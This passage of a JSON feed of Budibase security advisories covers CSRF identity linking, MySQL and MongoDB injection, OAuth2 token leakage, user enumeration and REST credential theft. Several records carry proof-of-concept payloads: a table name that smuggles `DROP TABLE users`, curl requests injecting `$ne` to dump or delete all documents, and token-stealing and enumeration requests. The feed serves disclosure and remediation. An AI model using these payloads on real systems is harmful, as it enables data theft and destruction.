Inherit the victim's permissions on agent operations | ✅ |\n| Trigger automations / agent operations that the victim is authorised for | ✅ |\n| Read knowledge sources the victim has access to | ✅ |\n\nThe severity depends on what the agent can do as the victim. For an admin victim, this is full tenant administration via chat. For a regular user, it is impersonation within the agent subsystem. The bound identity persists until manually unlinked, so the attacker retains ongoing access.\n\nThis is a same-tenant, user-interaction-required primitive. It is below the \"unauthenticated RCE\" threshold but above \"hardening\" -\u003e it is a real authentication-confusion vulnerability on a sensitive identity-binding operation.\n\n---\n\n### Fix\n\n**Recommended layered fixes:**\n\n1. **Bind the confirmation token to the requester's Budibase session at preparation time.** In `prepareChatIdentityLinkSessionConfirmation`, store the `globalUserId` of the requester alongside the `confirmationToken`. In `confirmChatLinkSession`, verify that `getCurrentGlobalUserId(ctx)` matches the stored requester. This breaks the CSRF / cross-user confusion.\n\n2. **Add a CSRF token to the confirmation POST.** The standard Budibase CSRF synchroniser token (`x-csrf-token` header, validated against the session's `csrfToken`) should be enforced on `POST /api/chat-links/.../handoff`. Move the route out of `publicRoutes` to an authenticated route group so CSRF applies (the GET can remain public for the redirect-to-login flow; the POST should be authenticated + CSRF-protected).\n\n3. **Add a per-session nonce that is bound to the requester's browser** (e.g. a signed cookie set on the GET, validated on the POST) to prevent cross-origin submission even when `SameSite=Lax` allows it.\n\n4. **Require user re-authentication (re-entry of password / step-up auth)** for sensitive identity-binding operations, similar to how password change requires re-auth.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:42:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-pvcr-8mvp-w8qr","https://github.com/Budibase/budibase/pull/19194","https://github.com/Budibase/budibase/commit/362e6c654fb4da6e123c734333da2d6cbdcdb7ef","https://github.com/Budibase/budibase/releases/tag/3.39.30","https://github.com/advisories/GHSA-pvcr-8mvp-w8qr"],"source_kind":"github","identifiers":["GHSA-pvcr-8mvp-w8qr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-07-26T14:00:09.097Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdmNyLThtdnAtdzhxcs4ABfs9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdmNyLThtdnAtdzhxcs4ABfs9","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdmNyLThtdnAtdzhxcs4ABfs9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yeGdnLXIyd2MtYzVyMs4ABfsy","url":"https://github.com/advisories/GHSA-2xgg-r2wc-c5r2","title":"Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector","description":"### Summary\n**This is a related but independently fixable vulnerability to GHSA-qqf5-x7mj-v43p\n(PostgreSQL SQL injection), reported in the same original disclosure and\nsplit per GitHub CNA guidance (rule 4.2.11) since it affects a separate\nintegration, has a distinct attack precondition, and requires a separate\npatch.**\n\nThe MySQL integration enables `multipleStatements: true` on the connection,\npermitting semicolon-separated multi-statement execution. During table\nintrospection, table names retrieved from `INFORMATION_SCHEMA.TABLES` are\ninterpolated into a `DESCRIBE` query wrapped in backticks, but embedded\nbackticks in the table name are never escaped — allowing a malicious table\nname to break out and inject a second, attacker-controlled statement.\n\n### Details\n\n**Vulnerable Code:**\nFile: `packages/server/src/integrations/mysql.ts`, lines 172, 305\n\n```typescript\nthis.config = { ...config, multipleStatements: true, ... }  // line 172\n...\n{ sql: `DESCRIBE \\`${tableName}\\`;` }  // line 305 — backtick NOT escaped\n```\n\nBecause `multipleStatements` is enabled, any statement appended after the\nbacktick break-out executes as a second query in the same round trip.\n\n### Step-by-Step Reproduction\n1. An attacker with the ability to create tables in the target MySQL\n   database (e.g. a lower-privileged database user, or a malicious actor in\n   a multi-tenant database) creates a table named:\n   ``foo`; DROP TABLE users; --``\n2. In Budibase, an administrator triggers schema introspection for that\n   database (e.g. opening the datasource or refreshing its table list).\n3. Budibase reads the malicious table name from `INFORMATION_SCHEMA.TABLES`\n   and interpolates it into the `DESCRIBE` query.\n4. The unescaped backtick terminates the identifier early, and the\n   semicolon-separated payload (enabled by `multipleStatements: true`)\n   executes as a second statement.\n\n### Impact\nArbitrary SQL execution triggered during routine schema discovery. Unlike\nthe PostgreSQL and MS SQL Server findings, this does not require the\nattacker to control the Budibase datasource configuration directly — only\nthe ability to create a maliciously named table in the underlying database\nbeforehand, with an administrator's normal use of the introspection feature\nserving as the trigger.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:26:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.6,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-2xgg-r2wc-c5r2","https://github.com/Budibase/budibase/pull/18989","https://github.com/Budibase/budibase/commit/2c61f389c9986c91ddd8ae161c2b5e8ec21c60ac","https://github.com/Budibase/budibase/releases/tag/3.39.18","https://github.com/advisories/GHSA-2xgg-r2wc-c5r2"],"source_kind":"github","identifiers":["GHSA-2xgg-r2wc-c5r2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-07-26T14:00:09.098Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeGdnLXIyd2MtYzVyMs4ABfsy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yeGdnLXIyd2MtYzVyMs4ABfsy","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeGdnLXIyd2MtYzVyMs4ABfsy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdzZtLThmdzItMnY2NM4ABfsx","url":"https://github.com/advisories/GHSA-qw6m-8fw2-2v64","title":" Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution","description":"## Summary\n\nBudibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`\"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.\n\n## Details\n\nThe vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters:\n\n**packages/server/src/api/controllers/query/index.ts:57-69**\n```typescript\nfunction validateQueryInputs(parameters: QueryEventParameters) {\n  for (let entry of Object.entries(parameters)) {\n    const [key, value] = entry\n    if (typeof value !== \"string\") {\n      continue\n    }\n    if (findHBSBlocks(value).length !== 0) {\n      throw new Error(\n        `Parameter '${key}' input contains a handlebars binding - this is not allowed.`\n      )\n    }\n  }\n}\n```\n\nAfter validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:105-108**\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n  noEscaping: true,\n  noHelpers: true,\n  escapeNewlines: true,\n})\n```\n\nThe interpolated string is then parsed as JSON at line 122:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:122**\n```typescript\nenrichedQuery.json = JSON.parse(\n  enrichedQuery.json ||\n  enrichedQuery.customData ||\n  enrichedQuery.requestBody\n)\n```\n\nThe parsed object flows directly into MongoDB driver calls with no further sanitization:\n\n**packages/server/src/integrations/mongodb.ts:509**\n```typescript\nreturn await collection.find(json).toArray()\n```\n\n**packages/server/src/integrations/mongodb.ts:624**\n```typescript\nreturn await collection.deleteMany(json.filter, json.options)\n```\n\nConsider a saved query with a JSON template like `{\"username\": \"{{username}}\"}`. If an attacker provides the parameter value `\", \"$ne\": \"` the interpolated string becomes `{\"username\": \"\", \"$ne\": \"\"}` — a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user.\n\nThe route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{\"username\": \"{{username}}\"}`).\n\n**Step 1: Authenticate as a regular app user**\n```bash\nTOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"appuser@example.com\",\"password\":\"password\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n```\n\n**Step 2: Execute the query normally (returns only matching document)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"alice\"}}'\n# Returns: [{\"username\": \"alice\", ...}]\n```\n\n**Step 3: Inject NoSQL operator to dump all documents**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}'\n# Returns: [{\"username\": \"alice\", ...}, {\"username\": \"bob\", ...}, {\"username\": \"admin\", ...}, ...]\n```\n\nThe injected value `\", \"$ne\": \"` transforms the query from `{\"username\": \"alice\"}` to `{\"username\": \"\", \"$ne\": \"\"}`, which matches all documents where username is not empty.\n\n**Step 4: Delete all documents via a delete query (if a delete-type query is saved)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}'\n# Deletes ALL documents matching the injected filter\n```\n\n## Impact\n\n- **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.\n- **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.\n- **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.\n- **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.\n\n## Recommended Fix\n\nSanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call:\n\n**packages/server/src/sdk/workspace/queries/queries.ts**\n```typescript\n// Add this helper function\nfunction escapeJsonValue(value: string): string {\n  return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, '\\\\\"')\n}\n\n// In enrichContext(), sanitize parameters before interpolation\nfor (const [key, value] of Object.entries(parameters)) {\n  if (typeof value === \"string\") {\n    parameters[key] = escapeJsonValue(value)\n  }\n}\n```\n\nAlternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.\n\nAdditionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:25:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64","https://github.com/Budibase/budibase/pull/18907","https://github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f","https://github.com/Budibase/budibase/releases/tag/3.39.9","https://github.com/advisories/GHSA-qw6m-8fw2-2v64"],"source_kind":"github","identifiers":["GHSA-qw6m-8fw2-2v64"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-07-26T14:00:09.100Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdzZtLThmdzItMnY2NM4ABfsx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdzZtLThmdzItMnY2NM4ABfsx","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdzZtLThmdzItMnY2NM4ABfsx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1naDRoLTM0Z3ItODdyN84ABfsw","url":"https://github.com/advisories/GHSA-gh4h-34gr-87r7","title":" Budibase: OAuth2 Token Disclosure via Automation Test Results Broadcast to Other Builders","description":"## Summary\n\nWhen an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens.\n\n## Details\n\nThe vulnerability exists because `getUserContextBindings()` intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization.\n\n**Step 1: Tokens included in user bindings**\n\nIn `packages/server/src/sdk/users/utils.ts:134-161`:\n```typescript\nexport function getUserContextBindings(user: ContextUser): UserBindings {\n  const bindings: UserBindings = {\n    _id: user._id,\n    email: user.email,\n    // ...\n  }\n  if (isSSOUser(user) \u0026\u0026 user.oauth2) {\n    bindings.oauth2 = {\n      accessToken: user.oauth2.accessToken,   // \u003c-- sensitive\n      refreshToken: user.oauth2.refreshToken,  // \u003c-- sensitive\n    }\n  }\n  return bindings\n}\n```\n\n**Step 2: Bindings passed to automation execution**\n\nIn `packages/server/src/api/controllers/automation.ts:311-312`:\n```typescript\nconst user = sdk.users.getUserContextBindings(ctx.user)\nreturn await triggers.externalTrigger(\n  { ...automation, disabled: false },\n  { ...input, appId, user },  // user with tokens passed as event param\n  { getResponses: true, onProgress: emitProgress }\n)\n```\n\n**Step 3: Tokens placed in trigger outputs**\n\nIn `packages/server/src/threads/automation.ts:409-413`:\n```typescript\nconst trigger: AutomationTriggerResult = {\n  id: data.automation.definition.trigger.id,\n  stepId: data.automation.definition.trigger.stepId,\n  inputs: null,\n  outputs: data.event,  // data.event includes user.oauth2 tokens\n}\n```\n\n**Step 4: Result broadcast without sanitization**\n\nThe full result (including `trigger.outputs.user.oauth2`) is exposed via two vectors:\n\n1. **WebSocket broadcast** — `builderSocket.emitToRoom()` calls `this.io.in(room).emit()` (`packages/server/src/websockets/websocket.ts:291`) which sends to ALL sockets in the app's room, not just the originator.\n\n2. **Test status endpoint** — `recordTestProgress()` stores the result in a Map keyed by `${appId}:${automationId}` with no user isolation (`packages/server/src/automations/testProgress.ts:41-74`). Any builder can call `GET /api/automations/:id/test/status` to retrieve another user's test results.\n\n## PoC\n\nRequires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens.\n\n```bash\n# Step 1: User A (SSO-authenticated builder) tests an automation asynchronously\ncurl -X POST http://localhost:10000/api/automations/\u003cautomation-id\u003e/test?async=true \\\n  -H 'x-budibase-app-id: app_dev_\u003cappid\u003e' \\\n  -H 'Cookie: budibase:auth=\u003cuserA_session\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"row\": {\"tableId\": \"ta_xxx\"}}'\n# Returns: {\"message\": \"Automation test started\"}\n\n# Step 2: User B (another builder on the same app) polls the test status\ncurl -X GET http://localhost:10000/api/automations/\u003cautomation-id\u003e/test/status \\\n  -H 'x-budibase-app-id: app_dev_\u003cappid\u003e' \\\n  -H 'Cookie: budibase:auth=\u003cuserB_session\u003e'\n\n# Response includes the full automation result with:\n# result.trigger.outputs.user.oauth2.accessToken = \"ya29.a0AfH6SM...\"\n# result.trigger.outputs.user.oauth2.refreshToken = \"1//0eXyz...\"\n```\n\nAdditionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the `BuilderSocketEvent.AutomationTestProgress` event with `status: \"complete\"` includes the full result payload.\n\n## Impact\n\n- **OAuth2 access tokens** for external services (Google Workspace, Azure AD, GitHub, etc.) are exposed to co-builders of the same app. These tokens can be used to access external APIs as the victim user.\n- **OAuth2 refresh tokens** provide persistent access — an attacker can generate new access tokens even after the original expires, maintaining long-term access to the victim's external service accounts.\n- The attack is passive via WebSocket — an attacker only needs to have the builder UI open to receive tokens when any co-builder tests an automation.\n- Test results persist in memory for 5 minutes (TTL in `testProgress.ts:15`), providing a window for polling-based attacks.\n\n## Recommended Fix\n\nStrip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients.\n\nIn `packages/server/src/api/controllers/automation.ts`, sanitize the result before passing to `emitProgress`:\n\n```typescript\nfunction sanitizeAutomationResult(result: AutomationResults): AutomationResults {\n  const sanitized = cloneDeep(result)\n  if (sanitized.trigger?.outputs?.user?.oauth2) {\n    delete sanitized.trigger.outputs.user.oauth2\n  }\n  for (const step of sanitized.steps || []) {\n    if (step.outputs?.user?.oauth2) {\n      delete step.outputs.user.oauth2\n    }\n  }\n  return sanitized\n}\n```\n\nApply sanitization in the `emitProgress` callback at line 290 and before returning `ctx.body` at line 342:\n\n```typescript\nemitProgress({\n  status: \"complete\",\n  occurredAt: Date.now(),\n  result: sanitizeAutomationResult(result),\n})\n```\n\nAdditionally, the `testProgress` store should be scoped per-user (keyed by `${appId}:${automationId}:${userId}`) so that one builder's test results are not accessible to another builder via the `testStatus` endpoint.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T21:25:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-gh4h-34gr-87r7","https://github.com/Budibase/budibase/pull/19107","https://github.com/Budibase/budibase/commit/bca426de7dc36d680285295655dc640dea2aab21","https://github.com/Budibase/budibase/releases/tag/3.39.25","https://github.com/advisories/GHSA-gh4h-34gr-87r7"],"source_kind":"github","identifiers":["GHSA-gh4h-34gr-87r7","CVE-2026-73308"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-09-12T11:00:57.756Z","epss_percentage":0.00373,"epss_percentile":0.30576,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naDRoLTM0Z3ItODdyN84ABfsw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1naDRoLTM0Z3ItODdyN84ABfsw","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naDRoLTM0Z3ItODdyN84ABfsw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocjY2LTVtcXItOG1weM4ABfsv","url":"https://github.com/advisories/GHSA-hr66-5mqr-8mpx","title":" Budibase: Unauthenticated user information disclosure via public tenant user lookup endpoint","description":"#### Summary\nThe Budibase Worker service exposes a public, unauthenticated API endpoint (`GET /api/global/users/tenant/:id`) that returns sensitive user information including `tenantId`, `userId`, `email`, and `ssoId`. The endpoint is registered in the `PUBLIC_ENDPOINTS` list with a `TODO` comment acknowledging it \"should be an internal API.\" Any unauthenticated party can enumerate user emails or IDs to extract sensitive tenant and user metadata, enabling targeted attacks against multi-tenant deployments.\n\n#### Details\n\n**Public endpoint registration** at `packages/worker/src/api/index.ts` lines 56-59:\n\n```typescript\n// TODO: This should be an internal api\n{\n  route: \"/api/global/users/tenant/:id\",\n  method: \"GET\",\n},\n```\n\nThis endpoint is listed in `PUBLIC_ENDPOINTS`, which is passed to `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` at line 154. When a request matches a public endpoint pattern, the authentication middleware sets `ctx.publicEndpoint = true` and calls `next()` without performing any authentication (verified at `packages/backend-core/src/middleware/authenticated.ts` lines 124-126, 249-251).\n\nAll subsequent middleware also skips for public endpoints:\n- `buildTenancyMiddleware` — passes through\n- `activeTenant` — passes through\n- `buildCsrfMiddleware` — skipped for GET methods (line 48 of csrf.ts)\n- The `budibaseAccess` gate at lines 160-168 explicitly returns `next()` when `ctx.publicEndpoint` is true\n\n**Route registration** at `packages/worker/src/api/routes/global/users.ts` line 139:\n\n```typescript\nloggedInRoutes\n  .get(\"/api/global/users/tenant/:id\", controller.tenantUserLookup)\n```\n\n`loggedInRoutes` has no auth middleware group — it is created with `endpointGroupList.group()` (no middleware).\n\n**Handler implementation** at `packages/worker/src/api/controllers/global/users.ts` lines 548-562:\n\n```typescript\nexport const tenantUserLookup = async (\n  ctx: UserCtx\u003cvoid, LookupTenantUserResponse\u003e\n) =\u003e {\n  const id = ctx.params.id\n  // is email, check its valid\n  if (id.includes(\"@\") \u0026\u0026 !emailValidator.validate(id)) {\n    ctx.throw(400, `${id} is not a valid email address to lookup.`)\n  }\n  const user = await userSdk.core.getFirstPlatformUser(id)\n  if (user) {\n    ctx.body = user    // Returns full PlatformUser object — no field filtering\n  } else {\n    ctx.throw(400, \"No tenant user found.\")\n  }\n}\n```\n\nThe `id` parameter accepts either an email address (detected by `@` presence) or a user ID. The response returns the **full** `PlatformUser` object from `packages/types/src/documents/platform/users.ts`:\n\n```typescript\nexport interface PlatformUserByEmail extends Document {\n  tenantId: string    // Tenant identifier\n  userId: string      // Internal user ID\n}\n\nexport interface PlatformUserById extends Document {\n  tenantId: string    // Tenant identifier\n  email?: string      // User email address\n  ssoId?: string      // SSO provider identifier\n}\n\nexport interface PlatformUserBySsoId extends Document {\n  tenantId: string    // Tenant identifier\n  userId: string      // Internal user ID\n  email: string       // User email address\n  ssoId?: string      // SSO provider identifier\n}\n```\n\nThe lookup function (`packages/backend-core/src/users/lookup.ts:48-53`) queries the `PLATFORM_USERS_LOWERCASE` CouchDB view with `include_docs: true`, returning the complete platform user document including CouchDB `_id` and `_rev`.\n\n**Affected files:**\n- `packages/worker/src/api/index.ts:56-59` — Public endpoint registration\n- `packages/worker/src/api/routes/global/users.ts:139` — Route on unauthenticated group\n- `packages/worker/src/api/controllers/global/users.ts:548-562` — Handler returning full user object\n- `packages/backend-core/src/users/lookup.ts:48-53` — Platform user lookup with `include_docs: true`\n- `packages/types/src/documents/platform/users.ts:6-36` — PlatformUser types\n\n#### PoC\n\n**Static verification:**\n\n1. Observe `packages/worker/src/api/index.ts:56-59`: endpoint in `PUBLIC_ENDPOINTS` with `// TODO: This should be an internal api`\n2. Trace handler at `packages/worker/src/api/controllers/global/users.ts:548-562`: no auth checks, returns `ctx.body = user` (full object)\n3. Trace middleware chain: all middleware passes through for `ctx.publicEndpoint === true`\n4. Confirm no field filtering, sanitization, or authorization between request and response\n\n**Dynamic verification (requires running Budibase instance with at least one user):**\n\n```bash\n# No authentication headers or cookies required\n# Lookup by email:\ncurl -s http://localhost:4002/api/global/users/tenant/admin@example.com\n\n# Response (200 OK):\n# {\n#   \"_id\": \"admin@example.com\",\n#   \"_rev\": \"1-abc123...\",\n#   \"tenantId\": \"tenant-uuid-here\",\n#   \"userId\": \"us_uuid-here\"\n# }\n\n# Lookup by user ID:\ncurl -s http://localhost:4002/api/global/users/tenant/us_someuserid123\n\n# Response (200 OK):\n# {\n#   \"_id\": \"us_someuserid123\",\n#   \"_rev\": \"1-abc123...\",\n#   \"tenantId\": \"tenant-uuid-here\",\n#   \"email\": \"admin@example.com\",\n#   \"ssoId\": \"google-oauth-id\"\n# }\n\n# Non-existent user:\ncurl -s http://localhost:4002/api/global/users/tenant/nonexistent@example.com\n# Response: 400 \"No tenant user found.\"\n# (Different response confirms user enumeration)\n```\n\n**Negative case:** Requesting a non-existent user returns HTTP 400 with `\"No tenant user found.\"`, while an existing user returns HTTP 200 with full data. The different status codes confirm user existence, enabling enumeration.\n\n#### Impact\nThis is a **CWE-200: Exposure of Sensitive Information to an Unauthorized Actor** vulnerability.\n\n**Who is impacted:** All Budibase deployments — both self-hosted and cloud. The impact is highest for multi-tenant (cloud) deployments where tenant IDs are security boundaries and user enumeration across tenants enables targeted attacks.\n\nAn unauthenticated attacker can:\n1. **Enumerate all user accounts** by testing known or guessed email addresses against the endpoint\n2. **Extract tenant IDs** for any known user, enabling targeted cross-tenant attacks\n3. **Extract user IDs** (`userId`) for use in other API calls or attacks\n4. **Extract SSO identifiers** (`ssoId`) which may link to external identity providers (Google, OIDC)\n5. **Confirm user existence** through different HTTP responses (200 vs 400)\n6. **Harvest CouchDB revision tokens** (`_rev`) which could assist in CouchDB-level attacks\n\nThe returned tenant IDs are particularly dangerous in multi-tenant deployments because they identify the security boundary between organizations. Combined with the hardcoded session keys (separate finding), an attacker could use enumerated tenant IDs to craft targeted session fixation attacks.\n\n### Suggested remediation\n1. **Remove the endpoint from `PUBLIC_ENDPOINTS`** and move it to internal-only routes, as the TODO comment at line 56 already suggests\n2. **Add authentication and authorization** if the endpoint must remain accessible — require at least `builderOrAdmin` role\n3. **Limit returned fields** to only what the consumer actually needs (strip `_rev`, `ssoId`, and other sensitive fields)\n4. **Return generic 404** for both \"not found\" and \"access denied\" to prevent user enumeration\n5. **Add rate limiting** to prevent automated mass enumeration\n6. **Regression test:** Add a test verifying `GET /api/global/users/tenant/:id` returns 403 without authentication","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:25:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-hr66-5mqr-8mpx","https://github.com/Budibase/budibase/pull/19221","https://github.com/Budibase/budibase/commit/e6bf245fbfdaa35804ef7ee901103282edf0c381","https://github.com/Budibase/budibase/releases/tag/3.39.32","https://github.com/advisories/GHSA-hr66-5mqr-8mpx"],"source_kind":"github","identifiers":["GHSA-hr66-5mqr-8mpx","CVE-2026-73406"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-09-12T11:00:57.759Z","epss_percentage":0.00473,"epss_percentile":0.3944,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjY2LTVtcXItOG1weM4ABfsv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocjY2LTVtcXItOG1weM4ABfsv","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocjY2LTVtcXItOG1weM4ABfsv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcWhyLTZqNmgtNzRwNc4ABfsu","url":"https://github.com/advisories/GHSA-mqhr-6j6h-74p5","title":" Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak ","description":"## Summary\nBudibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).\n\n## Root Cause\n`packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session.\n\n\n\nPOC \n\n## Reproduction — copy each line, paste in your terminal, press Enter, \n\n\nLine 1:\n```\nDSID=$(curl -s -X POST \"https://hasinocompany.budibase.app/api/datasources\" -H \"Cookie: 